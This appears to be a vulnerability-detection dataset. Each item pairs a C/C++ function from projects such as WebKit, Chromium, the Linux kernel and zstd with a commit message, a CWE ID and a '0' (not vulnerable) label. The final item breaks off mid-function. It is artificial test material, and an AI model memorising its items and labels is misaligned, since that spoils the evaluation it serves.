Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static VirtualKeyboardType convertStringToKeyboardType(const AtomicString& string)
{
DEFINE_STATIC_LOCAL(AtomicString, Default, ("default"));
DEFINE_STATIC_LOCAL(AtomicString, Url, ("url"));
DEFINE_STATIC_LOCAL(AtomicString, Email, ("email"));
DEFINE_STATIC_LOCAL(AtomicString, Password, ("password"));
DEFINE_STATIC_LOCAL(AtomicString, Web, ("web"));
DEFINE_STATIC_LOCAL(AtomicString, Number, ("number"));
DEFINE_STATIC_LOCAL(AtomicString, Symbol, ("symbol"));
DEFINE_STATIC_LOCAL(AtomicString, Phone, ("phone"));
DEFINE_STATIC_LOCAL(AtomicString, Pin, ("pin"));
DEFINE_STATIC_LOCAL(AtomicString, Hex, ("hexadecimal"));
if (string.isEmpty())
return VKBTypeNotSet;
if (equalIgnoringCase(string, Default))
return VKBTypeDefault;
if (equalIgnoringCase(string, Url))
return VKBTypeUrl;
if (equalIgnoringCase(string, Email))
return VKBTypeEmail;
if (equalIgnoringCase(string, Password))
return VKBTypePassword;
if (equalIgnoringCase(string, Web))
return VKBTypeWeb;
if (equalIgnoringCase(string, Number))
return VKBTypeNumPunc;
if (equalIgnoringCase(string, Symbol))
return VKBTypeSymbol;
if (equalIgnoringCase(string, Phone))
return VKBTypePhone;
if (equalIgnoringCase(string, Pin) || equalIgnoringCase(string, Hex))
return VKBTypePin;
return VKBTypeNotSet;
}
Commit Message: [BlackBerry] Adapt to new BlackBerry::Platform::TouchPoint API
https://bugs.webkit.org/show_bug.cgi?id=105143
RIM PR 171941
Reviewed by Rob Buis.
Internally reviewed by George Staikos.
Source/WebCore:
TouchPoint instances now provide document coordinates for the viewport
and content position of the touch event. The pixel coordinates stored
in the TouchPoint should no longer be needed in WebKit.
Also adapt to new method names and encapsulation of TouchPoint data
members.
No change in behavior, no new tests.
* platform/blackberry/PlatformTouchPointBlackBerry.cpp:
(WebCore::PlatformTouchPoint::PlatformTouchPoint):
Source/WebKit/blackberry:
TouchPoint instances now provide document coordinates for the viewport
and content position of the touch event. The pixel coordinates stored
in the TouchPoint should no longer be needed in WebKit. One exception
is when passing events to a full screen plugin.
Also adapt to new method names and encapsulation of TouchPoint data
members.
* Api/WebPage.cpp:
(BlackBerry::WebKit::WebPage::touchEvent):
(BlackBerry::WebKit::WebPage::touchPointAsMouseEvent):
(BlackBerry::WebKit::WebPagePrivate::dispatchTouchEventToFullScreenPlugin):
(BlackBerry::WebKit::WebPagePrivate::dispatchTouchPointAsMouseEventToFullScreenPlugin):
* WebKitSupport/InputHandler.cpp:
(BlackBerry::WebKit::InputHandler::shouldRequestSpellCheckingOptionsForPoint):
* WebKitSupport/InputHandler.h:
(InputHandler):
* WebKitSupport/TouchEventHandler.cpp:
(BlackBerry::WebKit::TouchEventHandler::doFatFingers):
(BlackBerry::WebKit::TouchEventHandler::handleTouchPoint):
* WebKitSupport/TouchEventHandler.h:
(TouchEventHandler):
Tools:
Adapt to new method names and encapsulation of TouchPoint data members.
* DumpRenderTree/blackberry/EventSender.cpp:
(addTouchPointCallback):
(updateTouchPointCallback):
(touchEndCallback):
(releaseTouchPointCallback):
(sendTouchEvent):
git-svn-id: svn://svn.chromium.org/blink/trunk@137880 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: | 0 | 104,505 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: const std::set<AXTreeID> AXTree::GetAllChildTreeIds() const {
std::set<AXTreeID> result;
for (auto entry : child_tree_id_reverse_map_)
result.insert(entry.first);
return result;
}
Commit Message: Position info (item n of m) incorrect if hidden focusable items in list
Bug: 836997
Change-Id: I971fa7076f72d51829b36af8e379260d48ca25ec
Reviewed-on: https://chromium-review.googlesource.com/c/1450235
Commit-Queue: Aaron Leventhal <aleventhal@chromium.org>
Reviewed-by: Nektarios Paisios <nektar@chromium.org>
Cr-Commit-Position: refs/heads/master@{#628890}
CWE ID: CWE-190 | 0 | 130,255 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static Bool wgt_enum_files(void *cbck, char *file_name, char *file_path, GF_FileEnumInfo *file_info)
{
WGTEnum *wgt = (WGTEnum *)cbck;
if (!strcmp(wgt->root_file, file_path)) return 0;
/*remove CVS stuff*/
if (strstr(file_path, ".#")) return 0;
gf_list_add(wgt->imports, gf_strdup(file_path) );
return 0;
}
Commit Message: fix some overflows due to strcpy
fixes #1184, #1186, #1187 among other things
CWE ID: CWE-119 | 0 | 92,851 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static void StopUsingContext(__GLXcontext *glxc)
{
if (glxc) {
if (glxc == __glXLastContext) {
/* Tell server GL library */
__glXLastContext = 0;
}
glxc->isCurrent = GL_FALSE;
if (!glxc->idExists) {
__glXFreeContext(glxc);
}
}
}
Commit Message:
CWE ID: CWE-20 | 0 | 14,138 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void WebContentsImpl::CopyToFindPboard() {
#if defined(OS_MACOSX)
RenderFrameHost* focused_frame = GetFocusedFrame();
if (!focused_frame)
return;
focused_frame->Send(
new InputMsg_CopyToFindPboard(focused_frame->GetRoutingID()));
RecordAction(base::UserMetricsAction("CopyToFindPboard"));
#endif
}
Commit Message: Don't call WebContents::DownloadImage() callback if the WebContents were deleted
BUG=583718
Review URL: https://codereview.chromium.org/1685343004
Cr-Commit-Position: refs/heads/master@{#375700}
CWE ID: | 0 | 131,771 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: struct inode *iget_locked(struct super_block *sb, unsigned long ino)
{
struct hlist_head *head = inode_hashtable + hash(sb, ino);
struct inode *inode;
spin_lock(&inode_hash_lock);
inode = find_inode_fast(sb, head, ino);
spin_unlock(&inode_hash_lock);
if (inode) {
wait_on_inode(inode);
return inode;
}
inode = alloc_inode(sb);
if (inode) {
struct inode *old;
spin_lock(&inode_hash_lock);
/* We released the lock, so.. */
old = find_inode_fast(sb, head, ino);
if (!old) {
inode->i_ino = ino;
spin_lock(&inode->i_lock);
inode->i_state = I_NEW;
hlist_add_head(&inode->i_hash, head);
spin_unlock(&inode->i_lock);
inode_sb_list_add(inode);
spin_unlock(&inode_hash_lock);
/* Return the locked inode with I_NEW set, the
* caller is responsible for filling in the contents
*/
return inode;
}
/*
* Uhhuh, somebody else created the same inode under
* us. Use the old inode instead of the one we just
* allocated.
*/
spin_unlock(&inode_hash_lock);
destroy_inode(inode);
inode = old;
wait_on_inode(inode);
}
return inode;
}
Commit Message: fs,userns: Change inode_capable to capable_wrt_inode_uidgid
The kernel has no concept of capabilities with respect to inodes; inodes
exist independently of namespaces. For example, inode_capable(inode,
CAP_LINUX_IMMUTABLE) would be nonsense.
This patch changes inode_capable to check for uid and gid mappings and
renames it to capable_wrt_inode_uidgid, which should make it more
obvious what it does.
Fixes CVE-2014-4014.
Cc: Theodore Ts'o <tytso@mit.edu>
Cc: Serge Hallyn <serge.hallyn@ubuntu.com>
Cc: "Eric W. Biederman" <ebiederm@xmission.com>
Cc: Dave Chinner <david@fromorbit.com>
Cc: stable@vger.kernel.org
Signed-off-by: Andy Lutomirski <luto@amacapital.net>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
CWE ID: CWE-264 | 0 | 36,854 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: remove_handler(GIOChannel*, GIOCondition, gpointer)
{
return FALSE;
}
Commit Message:
CWE ID: CWE-264 | 0 | 13,228 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: gfx::SwapResult GLSurfaceEGLSurfaceControl::SwapBuffers(
PresentationCallback callback) {
NOTREACHED();
return gfx::SwapResult::SWAP_FAILED;
}
Commit Message: gpu/android : Add support for partial swap with surface control.
Add support for PostSubBuffer to GLSurfaceEGLSurfaceControl. This should
allow the display compositor to draw the minimum sub-rect necessary from
the damage tracking in BufferQueue on the client-side, and also to pass
this damage rect to the framework.
R=piman@chromium.org
Bug: 926020
Change-Id: I73d3320cab68250d4c6865bf21c5531682d8bf61
Reviewed-on: https://chromium-review.googlesource.com/c/1457467
Commit-Queue: Khushal <khushalsagar@chromium.org>
Commit-Queue: Antoine Labour <piman@chromium.org>
Reviewed-by: Antoine Labour <piman@chromium.org>
Auto-Submit: Khushal <khushalsagar@chromium.org>
Cr-Commit-Position: refs/heads/master@{#629852}
CWE ID: | 0 | 130,881 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void rtnl_af_unregister(struct rtnl_af_ops *ops)
{
rtnl_lock();
__rtnl_af_unregister(ops);
rtnl_unlock();
}
Commit Message: rtnl: fix info leak on RTM_GETLINK request for VF devices
Initialize the mac address buffer with 0 as the driver specific function
will probably not fill the whole buffer. In fact, all in-kernel drivers
fill only ETH_ALEN of the MAX_ADDR_LEN bytes, i.e. 6 of the 32 possible
bytes. Therefore we currently leak 26 bytes of stack memory to userland
via the netlink interface.
Signed-off-by: Mathias Krause <minipli@googlemail.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-399 | 0 | 31,026 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void Document::setXMLVersion(const String& version, ExceptionCode& ec)
{
if (!implementation()->hasFeature("XML", String())) {
ec = NOT_SUPPORTED_ERR;
return;
}
if (!XMLDocumentParser::supportsXMLVersion(version)) {
ec = NOT_SUPPORTED_ERR;
return;
}
m_xmlVersion = version;
}
Commit Message: Unreviewed, rolling out r147402.
http://trac.webkit.org/changeset/147402
https://bugs.webkit.org/show_bug.cgi?id=112903
Source/WebCore:
* dom/Document.cpp:
(WebCore::Document::processHttpEquiv):
* loader/DocumentLoader.cpp:
(WebCore::DocumentLoader::responseReceived):
LayoutTests:
* http/tests/security/XFrameOptions/x-frame-options-deny-expected.txt:
* http/tests/security/XFrameOptions/x-frame-options-deny-meta-tag-expected.txt:
* http/tests/security/XFrameOptions/x-frame-options-deny-meta-tag-in-body-expected.txt:
* http/tests/security/XFrameOptions/x-frame-options-deny-meta-tag-in-body.html:
* http/tests/security/XFrameOptions/x-frame-options-deny-meta-tag-parent-same-origin-deny-expected.txt:
* http/tests/security/XFrameOptions/x-frame-options-deny-meta-tag-parent-same-origin-deny.html:
* http/tests/security/XFrameOptions/x-frame-options-deny-meta-tag.html:
* http/tests/security/XFrameOptions/x-frame-options-deny.html:
* http/tests/security/XFrameOptions/x-frame-options-multiple-headers-sameorigin-deny-expected.txt:
* http/tests/security/XFrameOptions/x-frame-options-multiple-headers-sameorigin-deny.html:
* http/tests/security/XFrameOptions/x-frame-options-parent-same-origin-deny-expected.txt:
* http/tests/security/XFrameOptions/x-frame-options-parent-same-origin-deny.html:
* platform/chromium/http/tests/security/XFrameOptions/x-frame-options-deny-expected.txt:
* platform/chromium/http/tests/security/XFrameOptions/x-frame-options-deny-meta-tag-expected.txt:
* platform/chromium/http/tests/security/XFrameOptions/x-frame-options-deny-meta-tag-in-body-expected.txt:
* platform/chromium/http/tests/security/XFrameOptions/x-frame-options-deny-meta-tag-parent-same-origin-deny-expected.txt:
* platform/chromium/http/tests/security/XFrameOptions/x-frame-options-multiple-headers-sameorigin-deny-expected.txt:
* platform/chromium/http/tests/security/XFrameOptions/x-frame-options-parent-same-origin-deny-expected.txt:
git-svn-id: svn://svn.chromium.org/blink/trunk@147450 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-399 | 0 | 105,628 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void CLASS canon_600_auto_wb()
{
int mar, row, col, i, j, st, count[] = { 0,0 };
int test[8], total[2][8], ratio[2][2], stat[2];
memset (&total, 0, sizeof total);
i = canon_ev + 0.5;
if (i < 10) mar = 150;
else if (i > 12) mar = 20;
else mar = 280 - 20 * i;
if (flash_used) mar = 80;
for (row=14; row < height-14; row+=4)
for (col=10; col < width; col+=2) {
for (i=0; i < 8; i++)
test[(i & 4) + FC(row+(i >> 1),col+(i & 1))] =
BAYER(row+(i >> 1),col+(i & 1));
for (i=0; i < 8; i++)
if (test[i] < 150 || test[i] > 1500) goto next;
for (i=0; i < 4; i++)
if (abs(test[i] - test[i+4]) > 50) goto next;
for (i=0; i < 2; i++) {
for (j=0; j < 4; j+=2)
ratio[i][j >> 1] = ((test[i*4+j+1]-test[i*4+j]) << 10) / test[i*4+j];
stat[i] = canon_600_color (ratio[i], mar);
}
if ((st = stat[0] | stat[1]) > 1) goto next;
for (i=0; i < 2; i++)
if (stat[i])
for (j=0; j < 2; j++)
test[i*4+j*2+1] = test[i*4+j*2] * (0x400 + ratio[i][j]) >> 10;
for (i=0; i < 8; i++)
total[st][i] += test[i];
count[st]++;
next: ;
}
if (count[0] | count[1]) {
st = count[0]*200 < count[1];
for (i=0; i < 4; i++)
pre_mul[i] = 1.0 / (total[st][i] + total[st][i+4]);
}
}
Commit Message: Avoid overflow in ljpeg_start().
CWE ID: CWE-189 | 0 | 43,242 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static int __init floppy_module_init(void)
{
if (floppy)
parse_floppy_cfg_string(floppy);
return floppy_init();
}
Commit Message: floppy: don't write kernel-only members to FDRAWCMD ioctl output
Do not leak kernel-only floppy_raw_cmd structure members to userspace.
This includes the linked-list pointer and the pointer to the allocated
DMA space.
Signed-off-by: Matthew Daley <mattd@bugfuzz.com>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
CWE ID: CWE-264 | 0 | 39,369 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: ext4_ext_search_right(struct inode *inode, struct ext4_ext_path *path,
ext4_lblk_t *logical, ext4_fsblk_t *phys)
{
struct buffer_head *bh = NULL;
struct ext4_extent_header *eh;
struct ext4_extent_idx *ix;
struct ext4_extent *ex;
ext4_fsblk_t block;
int depth; /* Note, NOT eh_depth; depth from top of tree */
int ee_len;
BUG_ON(path == NULL);
depth = path->p_depth;
*phys = 0;
if (depth == 0 && path->p_ext == NULL)
return 0;
/* usually extent in the path covers blocks smaller
* then *logical, but it can be that extent is the
* first one in the file */
ex = path[depth].p_ext;
ee_len = ext4_ext_get_actual_len(ex);
if (*logical < le32_to_cpu(ex->ee_block)) {
BUG_ON(EXT_FIRST_EXTENT(path[depth].p_hdr) != ex);
while (--depth >= 0) {
ix = path[depth].p_idx;
BUG_ON(ix != EXT_FIRST_INDEX(path[depth].p_hdr));
}
*logical = le32_to_cpu(ex->ee_block);
*phys = ext_pblock(ex);
return 0;
}
BUG_ON(*logical < (le32_to_cpu(ex->ee_block) + ee_len));
if (ex != EXT_LAST_EXTENT(path[depth].p_hdr)) {
/* next allocated block in this leaf */
ex++;
*logical = le32_to_cpu(ex->ee_block);
*phys = ext_pblock(ex);
return 0;
}
/* go up and search for index to the right */
while (--depth >= 0) {
ix = path[depth].p_idx;
if (ix != EXT_LAST_INDEX(path[depth].p_hdr))
goto got_index;
}
/* we've gone up to the root and found no index to the right */
return 0;
got_index:
/* we've found index to the right, let's
* follow it and find the closest allocated
* block to the right */
ix++;
block = idx_pblock(ix);
while (++depth < path->p_depth) {
bh = sb_bread(inode->i_sb, block);
if (bh == NULL)
return -EIO;
eh = ext_block_hdr(bh);
/* subtract from p_depth to get proper eh_depth */
if (ext4_ext_check(inode, eh, path->p_depth - depth)) {
put_bh(bh);
return -EIO;
}
ix = EXT_FIRST_INDEX(eh);
block = idx_pblock(ix);
put_bh(bh);
}
bh = sb_bread(inode->i_sb, block);
if (bh == NULL)
return -EIO;
eh = ext_block_hdr(bh);
if (ext4_ext_check(inode, eh, path->p_depth - depth)) {
put_bh(bh);
return -EIO;
}
ex = EXT_FIRST_EXTENT(eh);
*logical = le32_to_cpu(ex->ee_block);
*phys = ext_pblock(ex);
put_bh(bh);
return 0;
}
Commit Message: ext4: use ext4_get_block_write in buffer write
Allocate uninitialized extent before ext4 buffer write and
convert the extent to initialized after io completes.
The purpose is to make sure an extent can only be marked
initialized after it has been written with new data so
we can safely drop the i_mutex lock in ext4 DIO read without
exposing stale data. This helps to improve multi-thread DIO
read performance on high-speed disks.
Skip the nobh and data=journal mount cases to make things simple for now.
Signed-off-by: Jiaying Zhang <jiayingz@google.com>
Signed-off-by: "Theodore Ts'o" <tytso@mit.edu>
CWE ID: | 0 | 57,449 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: struct kvm_vcpu *kvm_arch_vcpu_create(struct kvm *kvm,
unsigned int id)
{
if (check_tsc_unstable() && atomic_read(&kvm->online_vcpus) != 0)
printk_once(KERN_WARNING
"kvm: SMP vm created on host with unstable TSC; "
"guest TSC will not be reliable\n");
return kvm_x86_ops->vcpu_create(kvm, id);
}
Commit Message: KVM: Ensure all vcpus are consistent with in-kernel irqchip settings
(cherry picked from commit 3e515705a1f46beb1c942bb8043c16f8ac7b1e9e)
If some vcpus are created before KVM_CREATE_IRQCHIP, then
irqchip_in_kernel() and vcpu->arch.apic will be inconsistent, leading
to potential NULL pointer dereferences.
Fix by:
- ensuring that no vcpus are installed when KVM_CREATE_IRQCHIP is called
- ensuring that a vcpu has an apic if it is installed after KVM_CREATE_IRQCHIP
This is somewhat long winded because vcpu->arch.apic is created without
kvm->lock held.
Based on earlier patch by Michael Ellerman.
Signed-off-by: Michael Ellerman <michael@ellerman.id.au>
Signed-off-by: Avi Kivity <avi@redhat.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
CWE ID: CWE-399 | 0 | 20,729 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void IgnoreInterfaceRequest(mojo::InterfaceRequest<Interface> request) {
}
Commit Message: Correctly reset FP in RFHI whenever origin changes
Bug: 713364
Change-Id: Id8bb923750e20f3db6fc9358b1d44120513ac95f
CQ_INCLUDE_TRYBOTS=master.tryserver.chromium.linux:linux_site_isolation
Change-Id: Id8bb923750e20f3db6fc9358b1d44120513ac95f
Reviewed-on: https://chromium-review.googlesource.com/482380
Commit-Queue: Ian Clelland <iclelland@chromium.org>
Reviewed-by: Charles Reis <creis@chromium.org>
Cr-Commit-Position: refs/heads/master@{#466778}
CWE ID: CWE-254 | 0 | 127,809 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static ALWAYS_INLINE struct module_entry *get_modentry(const char *module)
{
return helper_get_module(module, 0);
}
Commit Message:
CWE ID: CWE-20 | 0 | 16,745 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: GLvoid StubGLUniform1iv(GLint location, GLsizei count, const GLint* v) {
glUniform1iv(location, count, v);
}
Commit Message: Add chromium_code: 1 to surface.gyp and gl.gyp to pick up -Werror.
It looks like this was dropped accidentally in http://codereview.chromium.org/6718027 (surface.gyp) and http://codereview.chromium.org/6722026 (gl.gyp)
Remove now-redudant code that's implied by chromium_code: 1.
Fix the warnings that have crept in since chromium_code: 1 was removed.
BUG=none
TEST=none
Committed: http://src.chromium.org/viewvc/chrome?view=rev&revision=91598
Review URL: http://codereview.chromium.org/7227009
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@91813 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-189 | 0 | 99,603 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void ip_options_undo(struct ip_options * opt)
{
if (opt->srr) {
unsigned char * optptr = opt->__data+opt->srr-sizeof(struct iphdr);
memmove(optptr+7, optptr+3, optptr[1]-7);
memcpy(optptr+3, &opt->faddr, 4);
}
if (opt->rr_needaddr) {
unsigned char * optptr = opt->__data+opt->rr-sizeof(struct iphdr);
optptr[2] -= 4;
memset(&optptr[optptr[2]-1], 0, 4);
}
if (opt->ts) {
unsigned char * optptr = opt->__data+opt->ts-sizeof(struct iphdr);
if (opt->ts_needtime) {
optptr[2] -= 4;
memset(&optptr[optptr[2]-1], 0, 4);
if ((optptr[3]&0xF) == IPOPT_TS_PRESPEC)
optptr[2] -= 4;
}
if (opt->ts_needaddr) {
optptr[2] -= 4;
memset(&optptr[optptr[2]-1], 0, 4);
}
}
}
Commit Message: inet: add RCU protection to inet->opt
We lack proper synchronization to manipulate inet->opt ip_options
Problem is ip_make_skb() calls ip_setup_cork() and
ip_setup_cork() possibly makes a copy of ipc->opt (struct ip_options),
without any protection against another thread manipulating inet->opt.
Another thread can change inet->opt pointer and free old one under us.
Use RCU to protect inet->opt (changed to inet->inet_opt).
Instead of handling atomic refcounts, just copy ip_options when
necessary, to avoid cache line dirtying.
We cant insert an rcu_head in struct ip_options since its included in
skb->cb[], so this patch is large because I had to introduce a new
ip_options_rcu structure.
Signed-off-by: Eric Dumazet <eric.dumazet@gmail.com>
Cc: Herbert Xu <herbert@gondor.apana.org.au>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-362 | 0 | 18,894 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static bool mtrr_valid(struct kvm_vcpu *vcpu, u32 msr, u64 data)
{
int i;
if (!msr_mtrr_valid(msr))
return false;
if (msr == MSR_IA32_CR_PAT) {
for (i = 0; i < 8; i++)
if (!valid_pat_type((data >> (i * 8)) & 0xff))
return false;
return true;
} else if (msr == MSR_MTRRdefType) {
if (data & ~0xcff)
return false;
return valid_mtrr_type(data & 0xff);
} else if (msr >= MSR_MTRRfix64K_00000 && msr <= MSR_MTRRfix4K_F8000) {
for (i = 0; i < 8 ; i++)
if (!valid_mtrr_type((data >> (i * 8)) & 0xff))
return false;
return true;
}
/* variable MTRRs */
return valid_mtrr_type(data & 0xff);
}
Commit Message: KVM: Ensure all vcpus are consistent with in-kernel irqchip settings
(cherry picked from commit 3e515705a1f46beb1c942bb8043c16f8ac7b1e9e)
If some vcpus are created before KVM_CREATE_IRQCHIP, then
irqchip_in_kernel() and vcpu->arch.apic will be inconsistent, leading
to potential NULL pointer dereferences.
Fix by:
- ensuring that no vcpus are installed when KVM_CREATE_IRQCHIP is called
- ensuring that a vcpu has an apic if it is installed after KVM_CREATE_IRQCHIP
This is somewhat long winded because vcpu->arch.apic is created without
kvm->lock held.
Based on earlier patch by Michael Ellerman.
Signed-off-by: Michael Ellerman <michael@ellerman.id.au>
Signed-off-by: Avi Kivity <avi@redhat.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
CWE ID: CWE-399 | 0 | 20,865 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: bool UpdateAndCheckUniqueness(v8::Local<v8::Object> handle) {
typedef HashToHandleMap::const_iterator Iterator;
int hash = avoid_identity_hash_for_testing_ ? 0 : handle->GetIdentityHash();
std::pair<Iterator, Iterator> range = unique_map_.equal_range(hash);
for (Iterator it = range.first; it != range.second; ++it) {
if (it->second == handle)
return false;
}
unique_map_.insert(std::make_pair(hash, handle));
return true;
}
Commit Message: V8ValueConverter::ToV8Value should not trigger setters
BUG=606390
Review URL: https://codereview.chromium.org/1918793003
Cr-Commit-Position: refs/heads/master@{#390045}
CWE ID: | 0 | 156,528 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static char *gs_main_tempnames(gs_main_instance *minst)
{
i_ctx_t *i_ctx_p = minst->i_ctx_p;
ref *SAFETY;
ref *tempfiles;
ref keyval[2]; /* for key and value */
char *tempnames = NULL;
int i;
int idict;
int len = 0;
const byte *data = NULL;
uint size;
if (minst->init_done >= 2) {
if (dict_find_string(systemdict, "SAFETY", &SAFETY) <= 0 ||
dict_find_string(SAFETY, "tempfiles", &tempfiles) <= 0)
return NULL;
/* get lengths of temporary filenames */
idict = dict_first(tempfiles);
while ((idict = dict_next(tempfiles, idict, &keyval[0])) >= 0) {
if (obj_string_data(minst->heap, &keyval[0], &data, &size) >= 0)
len += size + 1;
}
if (len != 0)
tempnames = (char *)malloc(len+1);
if (tempnames) {
memset(tempnames, 0, len+1);
/* copy temporary filenames */
idict = dict_first(tempfiles);
i = 0;
while ((idict = dict_next(tempfiles, idict, &keyval[0])) >= 0) {
if (obj_string_data(minst->heap, &keyval[0], &data, &size) >= 0) {
memcpy(tempnames+i, (const char *)data, size);
i+= size;
tempnames[i++] = '\0';
}
}
}
}
return tempnames;
}
Commit Message:
CWE ID: CWE-416 | 0 | 2,911 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static unsigned long long *dbg_redzone1(struct kmem_cache *cachep, void *objp)
{
BUG_ON(!(cachep->flags & SLAB_RED_ZONE));
return (unsigned long long*) (objp + obj_offset(cachep) -
sizeof(unsigned long long));
}
Commit Message: mm/slab.c: fix SLAB freelist randomization duplicate entries
This patch fixes a bug in the freelist randomization code. When a high
random number is used, the freelist will contain duplicate entries. It
will result in different allocations sharing the same chunk.
It will result in odd behaviours and crashes. It should be uncommon but
it depends on the machines. We saw it happening more often on some
machines (every few hours of running tests).
Fixes: c7ce4f60ac19 ("mm: SLAB freelist randomization")
Link: http://lkml.kernel.org/r/20170103181908.143178-1-thgarnie@google.com
Signed-off-by: John Sperbeck <jsperbeck@google.com>
Signed-off-by: Thomas Garnier <thgarnie@google.com>
Cc: Christoph Lameter <cl@linux.com>
Cc: Pekka Enberg <penberg@kernel.org>
Cc: David Rientjes <rientjes@google.com>
Cc: Joonsoo Kim <iamjoonsoo.kim@lge.com>
Cc: <stable@vger.kernel.org>
Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
CWE ID: | 0 | 68,863 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: void TabStripModel::TabNavigating(TabContents* contents,
content::PageTransition transition) {
if (ShouldForgetOpenersForTransition(transition)) {
if (!IsNewTabAtEndOfTabStrip(contents)) {
ForgetAllOpeners();
ForgetGroup(contents);
}
}
}
Commit Message: Remove TabContents from TabStripModelObserver::TabDetachedAt.
BUG=107201
TEST=no visible change
Review URL: https://chromiumcodereview.appspot.com/11293205
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@167122 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-20 | 0 | 118,242 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: bool XSSAuditor::FilterInputToken(const FilterTokenRequest& request) {
DCHECK_EQ(request.token.GetType(), HTMLToken::kStartTag);
DCHECK(HasName(request.token, inputTag));
return EraseAttributeIfInjected(request, formactionAttr, kURLWithUniqueOrigin,
kSrcLikeAttributeTruncation);
}
Commit Message: Restrict the xss audit report URL to same origin
BUG=441275
R=tsepez@chromium.org,mkwst@chromium.org
Change-Id: I27bc8e251b9ad962c3b4fdebf084a2b9152f915d
Reviewed-on: https://chromium-review.googlesource.com/768367
Reviewed-by: Tom Sepez <tsepez@chromium.org>
Reviewed-by: Mike West <mkwst@chromium.org>
Commit-Queue: Jochen Eisinger <jochen@chromium.org>
Cr-Commit-Position: refs/heads/master@{#516666}
CWE ID: CWE-79 | 0 | 146,991 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static void ssi_sd_class_init(ObjectClass *klass, void *data)
{
SSISlaveClass *k = SSI_SLAVE_CLASS(klass);
k->init = ssi_sd_init;
k->transfer = ssi_sd_transfer;
k->cs_polarity = SSI_CS_LOW;
}
Commit Message:
CWE ID: CWE-94 | 0 | 15,665 |
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. | Code: static size_t ZSTD_copyCCtx_internal(ZSTD_CCtx* dstCCtx,
const ZSTD_CCtx* srcCCtx,
ZSTD_frameParameters fParams,
U64 pledgedSrcSize,
ZSTD_buffered_policy_e zbuff)
{
DEBUGLOG(5, "ZSTD_copyCCtx_internal");
if (srcCCtx->stage!=ZSTDcs_init) return ERROR(stage_wrong);
memcpy(&dstCCtx->customMem, &srcCCtx->customMem, sizeof(ZSTD_customMem));
{ ZSTD_CCtx_params params = dstCCtx->requestedParams;
/* Copy only compression parameters related to tables. */
params.cParams = srcCCtx->appliedParams.cParams;
params.fParams = fParams;
ZSTD_resetCCtx_internal(dstCCtx, params, pledgedSrcSize,
ZSTDcrp_noMemset, zbuff);
assert(dstCCtx->appliedParams.cParams.windowLog == srcCCtx->appliedParams.cParams.windowLog);
assert(dstCCtx->appliedParams.cParams.strategy == srcCCtx->appliedParams.cParams.strategy);
assert(dstCCtx->appliedParams.cParams.hashLog == srcCCtx->appliedParams.cParams.hashLog);
assert(dstCCtx->appliedParams.cParams.chainLog == srcCCtx->appliedParams.cParams.chainLog);
assert(dstCCtx->blockState.matchState.hashLog3 == srcCCtx->blockState.matchState.hashLog3);
}
/* copy tables */
